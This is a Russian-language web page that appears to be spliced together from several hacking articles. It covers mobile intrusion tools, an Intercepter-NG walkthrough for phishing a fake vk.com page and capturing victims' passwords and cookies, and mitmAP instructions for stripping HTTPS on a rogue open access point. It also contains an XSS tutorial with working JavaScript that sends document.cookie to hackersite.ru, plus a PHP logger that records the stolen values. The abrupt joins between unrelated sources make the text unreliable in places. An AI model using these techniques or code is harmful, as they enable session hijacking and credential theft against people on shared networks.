Перехватываем пароли и куки. Эксперимент: как похитить личные данные при помощи бесплатного Wi-Fi Как перехватывать данные через wifi андроид

💖 Нравится? Поделись с друзьями ссылкой

«Смартфон с хакерскими утилитами? Нет такого», - еще недавно сказали бы мы тебе. Запустить каике-то привычные инструменты для реализации атак можно было разве что на каком-нибудь Maemo. Теперь же многие привычные инструменты портировали под iOS и Android, а некоторые хак-тулзы были специально написаны для мобильного окружения. Может ли смартфон заменить ноутбук в тестах на проникновение? Мы решили проверить.

ANDROID

Android - популярная платформа не только для простых смертных, но и для правильных людей. Количество полезных ][-утилит здесь просто зашкаливает. За это можно сказать спасибо UNIX-корням системы - это значительно упростило портирование многих инструментов на Android. Увы, некоторые из них Google не пускает в Play Store, так что придется ставить соответствующие APK вручную. Также для некоторых утилит нужен максимальный доступ к системе (например, файрволу iptables), поэтому следует заранее позаботиться о root-доступе. Для каждого производителя здесь используется собственная технология, но найти необходимую инструкцию достаточно просто. Неплохой набор HOWTO собрал ресурс LifeHacker (bit.ly/eWgDlu). Однако если какой-то модели тут найти не удалось, на помощь всегда приходит форум XDA-Developers (www.xda-developers.com), на котором можно найти различную информацию фактически по любой модели Android-телефона. Так или иначе, часть из ниже описанных утилит заработают и без root-доступа.

Начнем обзор с необычного менеджера пакетов. Разработчики называют его «утилитами для суперпользователей», и это недалеко от правды. После установки BotBrew ты получаешь репозиторий, откуда можешь загрузить огромное количество скомпилированных под Android привычных инструментов. Среди них: интерпретаторы Python и Ruby для запуска многочисленных инструментов, которые на них написаны, сниффер tcpdump и сканер Nmap для анализа сети, Git и Subversion для работы с системами контроля версий и многое другое.

Сетевые сканеры

Незаметный смартфон, который в отличие от ноутбука легко помещается в карман и никогда не вызывает подозрений, может быть полезен для исследования сети. Выше мы уже сказали, как можно установить Nmap, но есть еще один вариант. PIPS - это специально адаптированный под Android, хотя и неофициальный порт сканера Nmap. А значит, ты сможешь быстро найти активные устройства в сети, определить их ОС с помощью опций по fingerprinting’у, провести сканирование портов - короче говоря, сделать все, на что способен Nmap.

С использованием Nmap’а, несмотря на всю его мощь, есть две проблемы. Во-первых, параметры для сканирования передаются через ключи для запуска, которые надо не только знать, но еще и суметь ввести с неудобной мобильной клавиатуры. А во-вторых, результаты сканирования в консольном выводе не такие наглядные, как того хотелось бы. Этих недостатков лишен сканнер Fing, который очень быстро сканирует сеть, делает fingerprinting, после чего в понятной форме выводит список всех доступных устройств, разделяя их по типам (роутер, десктоп, iPhone и так далее). При этом по каждому хосту можно быстро посмотреть список открытых портов. Причем прямо отсюда можно подключиться, скажем, к FTP, используя установленный в системе FTP-клиент, - очень удобно.

Когда речь идет об анализе конкретного хоста, незаменимой может оказаться утилита NetAudit. Она работает на любом Android-устройстве (даже нерутованном) и позволяет не только быстро определить устройства в сети, но и исследовать их с помощью большой fingerprinting-базы для определения операционной системы, а также CMS-систем, используемых на веб-сервере. Сейчас в базе более 3000 цифровых отпечатков.

Если же нужно, напротив, работать на уровне ниже и тщательно исследовать работу сети, то здесь не обойтись без Net Tools. Это незаменимый в работе системного администратора набор утилит, позволяющий полностью продиагностировать работу сети, к которой подключено устройство. Пакет содержит более 15 различного рода программ, таких как ping, traceroute, arp, dns, netstat, route.

Манипуляции с трафиком

Основанный на tcpdump сниффер честно логирует в pcap-файл все данные, которые далее можно изучить с помощью привычных утилит вроде Wireshark или Network Miner. Так как никакие возможности для MITM-атак в нем не реализованы, это скорее инструмент для анализа своего трафика. К примеру, это отличный способ изучить то, что передают программы, установленные на твой девайс из сомнительных репозиториев.

Если говорить о боевых приложениях для Android, то одним из самых нашумевших является FaceNiff, реализующий перехват и внедрение в перехваченные веб-сессии. Скачав APK-пакет с программой, можно практически на любом Android-смартфоне запустить этот хек-инструмент и, подключившись к беспроводной сети, перехватывать аккаунты самых разных сервисов: Facebook, Twitter, «ВКонтакте» и так далее - всего более десяти. Угон сессии осуществляется средствами применения атаки ARP spoofing, но атака возможна только на незащищенных соединениях (вклиниваться в SSL-трафик FaceNiff не умеет). Чтобы сдержать поток скрипткидисов, автор ограничил максимальное число сессий тремя - дальше нужно обратиться к разработчику за специальным активационным кодом.

Если создатель FaceNiff хочет за использование денежку, то DroidSheep - это полностью бесплатный инструмент с тем же функционалом. Правда, на официальном сайте ты не найдешь дистрибутива (это связано с суровыми законами Германии по части security-утилит), но его без проблем можно найти в Сети. Основная задача утилиты - перехват пользовательских веб-сессий популярных социальных сетей, реализованный с помощью все того же ARP Spoofing’а. А вот с безопасными подключениями беда: как и FaceNiff, DroidSheep наотрез отказывается работать с HTTPS-протоколом.

Эта утилита также демонстрирует небезопасность открытых беспроводных сетей, но несколько в другой плоскости. Она не перехватывает пользовательские сессии, но позволяет с помощью спуфинг-атаки пропускать HTTP-трафик через себя, выполняя с ним заданные манипуляции. Начиная от обычных шалостей (заменить все картинки на сайте троллфейсами, перевернуть все изображения или, скажем, подменив выдачу Google) и заканчивая фишинговыми атаками, когда пользователю подсовываются фейковые страницы таких популярных сервисов, как facebook.com, linkedin.com, vkontakte.ru и многих других.

Если спросить, какая хак-утилита для Android наиболее мощная, то у Anti, пожалуй, конкурентов нет. Это настоящий хакерский комбайн. Основная задача программы - сканирование сетевого периметра. Далее в бой вступают различные модули, с помощью которых реализован целый арсенал: это и прослушка трафика, и выполнение MITM-атак, и эксплуатация найденных уязвимостей. Правда, есть и свои минусы. Первое, что бросается в глаза, - эксплуатация уязвимостей производится лишь с центрального сервера программы, который находится в интернете, вследствие чего о целях, не имеющих внешний IP-адрес, можно забыть.

Туннелирование трафика

Хорошо известный файловый менеджер теперь и на смартфонах! Как и в настольной версии, тут предусмотрена система плагинов для подключения к различным сетевым директориям, а также канонический двухпанельный режим - особенно удобно на планшетах.

Хорошо, но как обеспечить безопасность своих данных, которые передаются в открытой беспроводной сети? Помимо VPN, который Android поддерживает из коробки, можно поднять SSH-туннель. Для этого есть замечательная утилита SSH Tunnel, которая позволяет завернуть через удаленный SSH-сервер трафик выбранных приложений или всей системы в целом.

Часто бывает необходимо пустить трафик через прокси или сокс, и в этом случае выручит ProxyDroid. Все просто: выбираешь, трафик каких приложений нужно туннелировать, и указываешь прокси (поддерживаются HTTP/HTTPS/SOCKS4/SOCKS5). Если требуется авторизация, то ProxyDroid это также поддерживает. К слову, конфигурацию можно забиндить на определенную беспроводную сеть, сделав разные настройки для каждой из них.

Беспроводные сети

Встроенный менеджер беспроводных сетей не отличается информативностью. Если нужно быстро получить полную картину о находящихся рядом точках доступа, то утилита Wifi Analyzer - отличный выбор. Она не только покажет все находящиеся рядом точки доступа, но и отобразит канал, на котором они работают, их MAC-адрес и, что важнее всего, используемый тип шифрования (увидев заветные буквы «WEP», можно считать, что доступ в защищенную сеть обеспечен). Помимо этого утилита идеально подойдет, если нужно найти, где физически находится нужная точка доступа, благодаря наглядному индикатору уровня сигнала.

Эта утилита, как заявляет ее разработчик, может быть полезна, когда беспроводная сеть под завязку забита клиентами, которые используют весь канал, а именно в этот момент нужен хороший коннект и стабильная связь. WiFiKill позволяет отключить клиентов от интернета как выборочно, так и по определенному критерию (к примеру, возможно постебаться над всеми яблочниками). Программа всего-навсего выполняет атаку ARP spoofing и перенаправляет всех клиентов на самих себя. Этот алгоритм до глупости просто реализован на базе iptables. Такая вот панель управления для беспроводных сетей фастфуда:).

Аудит веб-приложений

Манипулировать HTTP-запросами с компьютера - плевое дело, для этого есть огромное количество утилит и плагинов для браузеров. В случае со смартфоном все немного сложнее. Отправить кастомный HTTP-запрос с нужными тебе параметрами, например нужной cookie или измененным User-Agent, поможет HTTP Query Builder. Результат выполнения запроса будет отображен в стандартном браузере.

Если сайт защищен паролем с помощью Basic Access Authentication, то проверить его надежность можно с помощью утилиты Router Brute Force ADS 2. Изначально утилита создавалась для брутфорса паролей на админки роутера, но понятно, что она может быть использована и против любого другого ресурса с аналогичной защитой. Утилита работает, но явно сыровата. К примеру, разработчиком не предусмотрен грубый перебор, а возможен только брутфорс по словарю.

Наверняка ты слышал о такой нашумевшей программе вывода из строя веб-серверов, как Slowloris. Принцип ее действия: создать и удерживать максимальное количество подключений с удаленным веб-сервером, таким образом не давая подключиться к нему новым клиентам. Так вот, AnDOSid - аналог Slowloris прямо в Android-девайсе! Скажу по секрету, двухсот подключений достаточно, чтобы обеспечить нестабильную работу каждому четвертому веб-сайту под управлением веб-сервера Apache. И все это - с твоего телефона!

Разные полезности

При работе с многими веб-приложениями и анализе их логики достаточно часто встречаются данные, передаваемые в закодированным виде, а именно Base64. Encode поможет тебе раскодировать эти данные и посмотреть, что же именно в них хранится. Возможно, подставив кавычку, закодировав их обратно в Base64 и подставив в URL исследуемого сайта, ты получишь заветную ошибку выполнения запроса к базе данных.

Если нужен шестнадцатеричный редактор, то для Android он тоже есть. С помощью HexEditor ты сможешь редактировать любые файлы, в том числе и системные, если повысишь программе права до суперпользователя. Отличная замена стандартному редактору текстов, позволяющая с легкостью найти нужный фрагмент текста и изменить его.

Удаленный доступ

Получив доступ к удаленному хосту, нужно иметь возможность им воспользоваться. А для этого нужны клиенты. Начнем с SSH, где стандартом де-факто уже является ConnectBot. Помимо удобного интерфейса, предоставляет возможность организации защищенных туннелей через SSH-подключения.

Полезная программа, позволяющая подключаться к удаленному рабочему столу через сервисы RDP или VNC. Очень радует, что это два клиента в одном, нет необходимости использовать разные тулзы для RDP и VNC.

Специально написанный для Android браузер MIB, с помощью которого можно управлять сетевыми устройствами по протоколу SNMP. Сможет пригодиться для развития вектора атаки на различные маршрутизаторы, ведь стандартные community string (проще говоря, пароль для доступа) для управления через SNMP еще никто не отменял.

iOS

Не менее популярна среди разработчиков security-утилит платформа iOS. Но если в случае с Android права root’а были нужны только для некоторых приложений, то на устройствах от Apple джейлбрейк обязателен почти всегда. К счастью, даже для последней прошивки iДевайсов (5.1.1) уже есть тулза для джейлбрейка. Вместе с полным доступом ты еще получаешь и альтернативный менеджер приложений Cydia, в котором уже собраны многие утилиты.

Работа с системой

Первое, с чего хочется начать, - это установка терминала. По понятным причинам в стандартной поставке мобильной ОС его нет, но он нам понадобится, чтобы запускать консольные утилиты, о которых мы далее будем говорить. Лучшей реализацией эмулятора терминала является MobileTerminal - он поддерживает сразу несколько терминалов, жесты для управления (например, для передачи Control-C) и вообще впечатляет своей продуманностью.

Еще один, более сложный вариант получить доступ к консоли устройства - установить на нем OpenSSH (это делается через Cydia) и локально подключаться к нему через SSH-клиент. Если использовать правильный клиент вроде iSSH, в котором изумительно реализовано управление с сенсорного экрана, то этот способ даже более удобен, чем через MobileTerminal.

Перехват данных

Теперь, когда доступ к консоли есть, можно попробовать утилиты. Начнем с Pirni, вошедшей в историю как полноценный сниффер для iOS. К сожалению, конструктивно ограниченный модуль Wi-Fi, встроенный в устройство, невозможно перевести в promiscious-режим, необходимый для нормального перехвата данных. Так что для перехвата данных используется классический ARP-спуфинг, с помощью которого весь трафик пропускается через само устройство. Стандартная версия утилиты запускается из консоли, где помимо параметров MITM-атаки указывается имя PCAP-файла, в который логируется весь трафик. У утилиты есть более продвинутая версия - Pirni Pro, которая может похвастаться графическим интерфейсом. Причем она умеет на лету парсить HTTP-трафик и даже автоматически вытаскивать оттуда интересные данные (к примеру, логины-пароли), используя для этого регулярные выражения, которые задаются в настройках.

Небезызвестный сниффер Intercepter-NG, о котором мы неоднократно писали, с недавнего времени имеет консольную версию. Как говорит автор, большая часть кода написана на чистом ANSI C, который ведет себя одинаково практически в любой среде, поэтому консольная версия с самого начала заработала как на десктопных Windows, Linux и BSD, так и на мобильных платформах, в том числе iOS и Android. В консольной версии уже реализован граббинг паролей, передаваемых по самым разным протоколам, перехват сообщений мессенджеров (ICQ/Jabber и многих других), а также воскрешение файлов из трафика (HTTP/FTP/IMAP/POP3/SMTP/SMB). При этом доступны функции сканирования сети и качественный ARP Poison. Для корректной работы необходимо предварительно установить через Cydia пакет libpcap (не забудь в настройках включить девелоперские пакеты). Вся инструкция по запуску сводится к установке правильных прав: chmod +x intercepter_ios. Далее, если запустить сниффер без параметров, появится понятный интерактивный интерфейс Itercepter, позволяющий запустить любые атаки.

Трудно поверить, но этот сложнейший инструмент для реализации MITM-атак все-таки портировали под iOS. После колоссальной работы получилось сделать полноценный мобильный порт. Чтобы избавить себя от танцев с бубном вокруг зависимостей во время самостоятельной компиляции, лучше установить уже собранный пакет, используя Cydia, предварительно добавив в качестве источника данных theworm.altervista.org/cydia (репозиторий TWRepo). В комплекте идет и утилита etterlog, которая помогает извлечь из собранного дампа трафика различного рода полезную информацию (к примеру, аккаунты доступа к FTP).

Анализ беспроводных сетей

В старых версиях iOS умельцы запускали aircrack и могли ломать WEP-ключ, но мы проверили: на новых устройствах программа не работает. Поэтому для исследования Wi-Fi нам придется довольствоваться только Wi-Fi-сканерами. WiFi Analyzer анализирует и отображает информацию обо всех доступных 802.11 сетях вокруг, включая информацию о SSID, каналах, вендорах, MAC-адресах и типах шифрования. Утилита строит наглядные графики в реальном времени по присутствующим в эфире данным. С такой программой легко найти физическое местоположение точки, если ты вдруг его забыл, и, например, посмотреть WPS PIN, который может быть полезен для подключения.

Сетевые сканеры

Какой программой пользуется любой пентестер в любой точке планеты независимо от целей и задач? Сетевым сканером. И в случае с iOS это, скорее всего, будет мощнейший тулкит Scany. Благодаря набору встроенных утилит можно быстро получить подробную картину о сетевых устройствах и, к примеру, открытых портах. Помимо этого пакет включает в себя утилиты тестирования сети, такие как ping, traceroute, nslookup.

Впрочем, многие отдают предпочтение Fing’у. Сканер имеет достаточно простой и ограниченный функционал, но его вполне хватит для первого знакомства с сетью, скажем, кафетерия:). В результатах отображается информация о доступных сервисах на удаленных машинах, MAC-адреса и имена хостов, подключенных к сканируемой сети.

Казалось бы, про Nikto все забыли, но почему? Ведь этот веб-сканер уязвимостей, написанный на скрипт-языке (а именно на Perl), ты легко сможешь установить через Cydia. А это значит, что ты без особого труда сможешь запустить его на своем джейлбрейкнутом устройстве из терминала. Nikto с радостью предоставит тебе дополнительную информацию по испытуемому веб-ресурсу. К тому же ты своими руками можешь добавить в его базу данных знаний собственные сигнатуры для поиска.

Этот мощный инструмент для автоматической эксплуатации SQL-уязвимостей написан на Python, а значит, установив интерпретатор, им без проблем можно пользоваться прямо с мобильного устройства.

Удаленное управление

Многие сетевые устройства (в том числе дорогие роутеры) управляются по протоколу SNMP. Эта утилита позволяет просканировать подсети на наличие доступных сервисов SNMP с заранее известными значением community string (проще говоря, стандартными паролями). Заметим, что поиск сервисов SNMP со стандартными community string (public/private) в попытке получить доступ к управлению устройствами - неотъемлемая часть любого теста на проникновение наряду с идентификацией самого периметра и выявлением сервисов.

Две утилиты от одного производителя предназначены для подключения к удаленному рабочему столу по протоколам RDP и VNC. Подобных утилит в App Store много, но именно эти особенно удобны в использовании.

Восстановление паролей

Легендарная программа, помогающая «вспомнить» пароль миллионам хакеров по всему миру была портирована под iOS. Теперь прямо с iPhone’а возможен перебор паролей к таким сервисам, как HTTP, FTP, TELNET, SSH, SMB, VNC, SMTP, POP3 и многим другим. Правда, для более эффективной атаки лучше запастись хорошими словарями для брутфорса.

Всем не понаслышке известна такая уязвимость, как использование стандартных паролей. Pass Mule представляет собой своего рода справочник, в котором собраны всевозможные стандартные логины и пароли для сетевых устройств. Они удобно разложены по названиям вендоров, продуктам и моделям, так что найти нужный не составит труда. Программа скорее предназначена для экономии времени на поиске мануала к роутеру, стандартный логин и пароль для которого необходимо узнать.

Эксплуатация уязвимостей

Сложно представить себе более хакерскую утилиту, нежели Metasploit, - и именно она завершает наш сегодняшний обзор. Metasploit - это пакет разнообразных инструментов, основная задача которого заключается в эксплуатации уязвимостей в программном обеспечении. Представь: около 1000 надежных, проверенных и необходимых в повседневной жизни пентестера эксплойтов - прямо на смартфоне! С помощью такого инструмента реально можно обосноваться в любой сети. Metasploit позволяет не только эксплуатировать бреши в серверных приложениях - доступны также инструменты для атак на клиентские приложения (например, через модуль Browser Autopwn, когда в трафик клиентов вставляется боевая нагрузка). Тут надо сказать, что мобильной версии тулкита не существует, однако на Apple-устройство можно установить стандартный пакет, воспользовавшись .

Intercepter – это многофункциональный сетевой инструмент, который позволяет получить данные из трафика (пароли, сообщения в мессенджерах, переписки и т.д.) и реализовать различные MiTM-атаки.

Интерфейс программы Intercepter
Основной функционал

  • Перехват сообщений мессенджеров.
  • Перехват кукис файлов и паролей.
  • Перехват активности (страницы, файлы, данные).
  • Возможность подмены скачивания файлов, добавляя вредоносные файлы. Можно использовать совместно с другими утилитами.
  • Подмена сертификатов Https на Http.
Режимы работы
Messengers Mode – позволяет проверять переписку, которая была отправлена в незашифрованном виде. Применялась для перехвата сообщений в таких мессенджерах ICQ, AIM, JABBER сообщений.

Ressurection Mode – восстановления полезных данных из трафика, из протоколов которые передают трафик в открытом виде. Когда жертва просматривает файлы, страницы, данные, можно частично или полностью их перехватывать. Дополнительно можно указать размер файлов, чтобы не загружать программу маленькими частями. Эту информацию можно использовать для анализа.

Password Mode – режим для работы с куки файлами. Таким образом, можно получить доступы к посещаемым файлам жертвы.

Scan mode – основной режим для тестирования. Для начала сканирования необходимо нажать правой кнопкой мыши Smart Scan. После сканирования в окне будут отображаться все участники сети, их операционная система и другие параметры.

Дополнительно в этом режиме можно просканировать порты. Необходимо воспользоваться функцией Scan Ports. Конечно для этого есть и намного функциональные утилиты, но наличие этой функции – важный момент.

Если в сети нас интересует целенаправленная атака, то после сканирования необходимо добавить целевой IP в Nat с помощью команды (Add to Nat). В другом окне можно будет провести другие атаки.

Nat Mode. Основной режим, который позволяет проводить ряд атак по ARP. Это основное окно, которое позволяет проводить целенаправленные атаки.

DHCP mode. Это режим, который позволяет поднять свой DHCP сервер для реализации атак DHCP по середине.

Некоторые виды атак, которые можно проводить
Подмена сайта

Для подмена сайта у жертвы необходимо перейти в Target, после этого необходимо указать сайт и его подмену. Таким образом можно подменить достаточно много сайтов. Все зависит от того, насколько качественный будет фейк.

Подмена сайта

Пример для VK.com

Выбираем MiTM атаку

Изменяем правило для иньекции
В результате жертва открывает фейковый сайт при запросе vk.com. И в режиме паролей должен быть логин и пароль жертвы:

Чтобы провести целенаправленную атаку необходимо выбрать жертву из списку и добавить ее в таргет. Это можно сделать с помощью правой кнопкой мыши.

Добавления MiTm атаки
Теперь можно в режиме Ressurection Mode восстановить разные данные из трафика.

Файлы и информация жертвы посредством MiTm атаки
Подмена трафика

Указание настроек
После этого у жертвы будет меняться запрос "trust" на "loser".

Дополнительно можно убить кукис-файлы, чтобы жертва вышла со всех аккаунтов и повторно авторизовалась. Это позволит перехватить логины и пароли.

Уничтожение кукис файлов

Как увидеть потенциального сниферра в сети с помощью Intercepter?

С помощью опции Promisc Detection можно обнаружить устройство, которое ведет сканирование в локальной сети. После сканирование в графе status будет «Sniffer». Это первый способ, которые позволяет определить сканирование в локальной сети.

Обнаружение Sniffer
Устройство SDR HackRF


HackRF
SDR - это своеобразный радиоприемник, который позволяет работать с разными радиочастотными параметрами. Таким образом, можно перехватывать сигнал Wi-Fi, GSM, LTE и т.д.

HackRF - это полноценное SDR-устройство за 300 долларов. Автор проекта Майкл Оссман разрабатывает успешные устройства в этом направлении. Ранее был разработан и успешно реализован Bluetooth-снифер Ubertooth. HackRF успешный проект, который собрал более 600 тысяч на Kickstarter. Уже было реализовано 500 таких устройств для бета-тестирования.

HackRF работает в диапазоне частот от 30 МГц до 6 ГГц. Частота дискретизации составляет 20 МГц, что позволяет перехватывать сигналы Wi-FI и LTE сетей.

Как обезопасить себя на локальном уровне?

Для начала воспользуемся софтом SoftPerfect WiFi Guard. Есть портативная версия, которая занимает не более 4 мб. Она позволяет сканировать вашу сеть и отображать, какие устройства в ней отображены. В ней есть настройки, которые позволяют выбрать сетевую карту и максимальное количество сканируемых устройств. Дополнительно можно выставить интервал сканирования.


Интерфейс программы SoftPerfect WiFi Guard
После сканирования программа присылает уведомления, сколько есть неизвестный устройств. Это позволяет нам добавлять и отмечать доверенных пользователей и заметить, если кто-то подключился и начинает прослушивать трафик. Уведомления будут приходить после каждого интервала сканирования. Это позволяет отключить определенного мошенника на уроне роутера, если есть подозрительные действия.


Настройки программы SoftPerfect WiFi Guard


Возможность добавления комментариев для пользователей


Окно уведомления незнакомых девайсов после каждого заданного интервала сканирования

Заключение
Таким образом, мы рассмотрели на практике, как использовать программное обеспечение для перехвата данных внутри сети. Рассмотрели несколько конкретных атак, которые позволяют получить данные для входа, а также другую информацию. Дополнительно рассмотрели SoftPerfect WiFi Guard, которые позволяет на примитивном уровне защитить локальную сеть от прослушивания трафика.

И автоматически их запускает, благодаря чему и достигается обход HTTPS / HSTS. С mitmAP в этот процесс не нужно вникать, но если вы хотите сделать что-то подобное, например, с create_ap , то ознакомьтесь с «Инструкцией по использованию SSLStrip+ и dns2proxy для обхода HSTS ».

mitmAP позволяет практически без ввода команд (и понимания механизма обхода HTTPS) использовать самые эффективные на сегодняшний момент способы понижения HTTPS до HTTP. В моих тестах пароль в открытом виде передавался для vk.com, yandex.ru, mail.ru.

Этот скрипт сделан в двух вариантах - для работы в Kali Linux или в Raspberry PI .

Скрипт должен работать на производных Debian, если установить зависимости; но не будет работать, например, в Arch Linux / BlackArch из-за выбранного автором способа запуска служб.

Инструкция по использованию mitmAP

Скачайте скрипт:

Git clone https://github.com/xdavidhu/mitmAP.git cd mitmAP/

Запустите его:

Sudo python3 mitmAP.py

Скрипт начнёт с вопроса:

[?] Install/Update dependencies? Y/n:

Перевод: установить / обновить зависимости?

Если запускаете первый раз, то согласитесь, т.е. нажмите Enter. В дальнейшем можно выбирать n (нет).

Следующий вопрос:

[?] Please enter the name of your wireless interface (for the AP):

Перевод: введите имя вашего беспроводного интерфейса (для ТД). Если вы не знаете имя ваших интерфейсов, то в другом окне выполните команду:

Она покажет все сетевые интерфейсы вашей системы. А команда

Sudo iw dev

покажет только беспроводные сетевые интерфейсы.

В Kali Linux беспроводной интерфейс обычно называется wlan0 (а если их два, то второй имеет имя wlan1).

[?] Please enter the name of your internet connected interface:

Перевод: пожалуйста, введите имя интерфейса, подключённого к Интернету.

В Kali Linux проводной интерфейс обычно называется eth0 . Также для подключения к Интернету можно использовать вторую Wi-Fi карту.

[?] Use SSLSTRIP 2.0? Y/n:

Перевод: скрипт спрашивает, использовать ли SSLStrip+ . В настоящее время, когда значительная, если уже не большая, часть трафика передаётся через HTTPS (в зашифрованном виде), эта опция крайне рекомендуется.

[?] Create new HOSTAPD config file at "/etc/hostapd/hostapd.conf" Y/n:

Перевод: Создать ли новый конфигурационный файл hostapd.

Если запускаете первый раз, то это нужно сделать обязательно. При последующих запусках, если вы не собираетесь менять настройки ТД, то можно выбрать n (т.е. «нет»).

Настройка ТД:

[?] Please enter the SSID for the AP:

Перевод: введите имя для ТД.

[?] Please enter the channel for the AP:

Перевод: введите номер канала ТД.

[?] Enable WPA2 encryption? y/N:

Перевод: включить ли WPA2 шифрование?

Если вы включите шифрование, то для подключения к вашей ТД нужно будет вводить пароль. Для наших целей выбираем «нет».

Последняя настройка ТД:

[?] Set speed limit for the clients? Y/n:

Перевод: установить ли ограничение по скорости для клиентов?

Я выбираю «нет»,

[?] Start WIRESHARK on wlan0? Y/n:

Анализ данных mitmAP

mitmAP выводит перехваченные данные, в том числе логины и пароли в своём главном окне:

В своей папке она создаёт директорию logs с двумя файлами: mitmap-sslstrip.log и mitmap-wireshark.pcap . В первом файле содержаться собранные данные в текстовом виде. А второй предназначен для анализа в программе Wireshark.

Обратите внимание: что при перезапуске программы эти файлы затираются! Т.е. если вы намереваетесь анализировать эти файлы позднее, то вам нужно позаботиться об их перемещении или переименовании, иначе они будут просто удалены.

Если вы выбрали запуск окна Wireshark и отображение передаваемых изображений с помощью Driftnet , то вы также их сможете использовать для мониторинга передаваемых данных в реальном времени.

Анализ данных в Wireshark

Wireshark имеет очень детальный фильтр данных, с его разнообразием вы сможете ознакомиться на страничке официальной документации

Приведу примеры нескольких ходовых фильтров.

Для отображения в Wireshark всех HTTP запросов, переданных методом POST:

Http.request.method == "POST"

Для отображения данных переданных или полученных с определённого домена (вместо введите интересующий домен, например, vk.com):

Http.host==""

Для поиска строки во всём потоке передаваемых данных используется следующий фильтр (вместо <строка> введите строку, которую вы хотите искать):

Frame contains "<строка>"

Для отображения кукиз в Wireshark:

Http.cookie

Если вас интересует кукиз с определёнными именем, то используйте:

Http.cookie contains "<имя_куки>"

Для показа запросов в Wireshark, переданных методом GET или POST:

Http.request.uri contains "?" or http.request.method=="POST"

Если вы хотите найти данные обмена с FTP сервером, то в Wireshark можете использовать один из следующих фильтров:

Tcp.port==21 || tcp.port==20

Сниффинг данных в других программах

Хотя mitmAP задействует интересные программы, вы всегда можете проводить анализ данных другими инструментами. Например, если вы хотите использовать Bettercap , то нужно учитывать, что:

  • ARP спуфинг не нужен
  • Не нужно проводить обнаружение клиентов
  • Не нужно включать SSLStrip.

Т.е. команда может иметь вид:

Sudo bettercap -X -I wlan0 -S NONE --no-discovery

Sudo bettercap -X -I wlan0 -S NONE --no-discovery --proxy --no-sslstrip

Завершение работы mitmAP

Для выключения программы нужно два раза быстро нажать CTRL+C . Напомню, что при повторном запуске программа затрёт файлы с полученными данными. Т.е. вам нужно их переместить в другую папку, если вы хотите позже провести их анализ.

Что такое же cookie?

Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.


Почему cookie важны?

Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.


Как изменить или подменить cookie?

Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).


Шаг 1: создаем текстовый файл с текстом

Windows Registry Editor Version 5.00



@="C:\\IE_ext.htm"

Сохраняем его под именем IE_ext.reg

Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.

Шаг 3: создаем текстовый файл с текстом

< script language ="javascript">
external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
alert(external.menuArguments.document.cookie);


Сохраняем его под именем C:\IE_ext.htm

Шаг 4: Заходим на интересующий нас интернет-сайт.

Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.


Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);

Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

Как украсть cookie с помощью JavaScript?

Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:


var str= document.cookie;

Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

var img=new Image();

img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);


то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.

Как обрабатывать такие запросы на загрузку «картинки»?

Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:

$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>

Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.


Итог

Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.

Cookies (куки) — информация в виде текстового файла, сохраняемая на компьютере пользователя веб-сайтом. Содержит данные об аутентификации (логин/пароль, ID, номер телефона, адрес почтового ящика), пользовательские настройки, статус доступа. Хранится в профиле браузера.

Взлом куки — это кража (или «угон») сессии посетителя веб-ресурса. Закрытая информация становится доступной не только отправителю и получателю, но и ещё третьему лицу — человеку осуществившему перехват.

Инструменты и методы взлома куки

У компьютерных воров, как и у их коллег в реале, помимо навыков, сноровки и знаний, конечно же, есть и свой инструментарий — своеобразный арсенал отмычек и щупов. Ознакомимся с наиболее популярными хитростями хакеров, которые они применяют для выуживания куки у обывателей сети Интернет.

Снифферы

Специальные программы для отслеживания и анализа сетевого трафика. Их название происходит от английского глагола «sniff» (нюхать), т.к. в буквальном смысле слова «вынюхивают» передаваемые пакеты между узлами.

А вот злоумышленники при помощи сниффера перехватывают сессионые данные, сообщения и другую конфиденциальную информацию. Объектом их атак становятся в основном незащищённые сети, где куки пересылаются в открытой HTTP-сессии, то есть практически не шифруются. (Наиболее уязвимы в этом плане публичные Wi-Fi.)

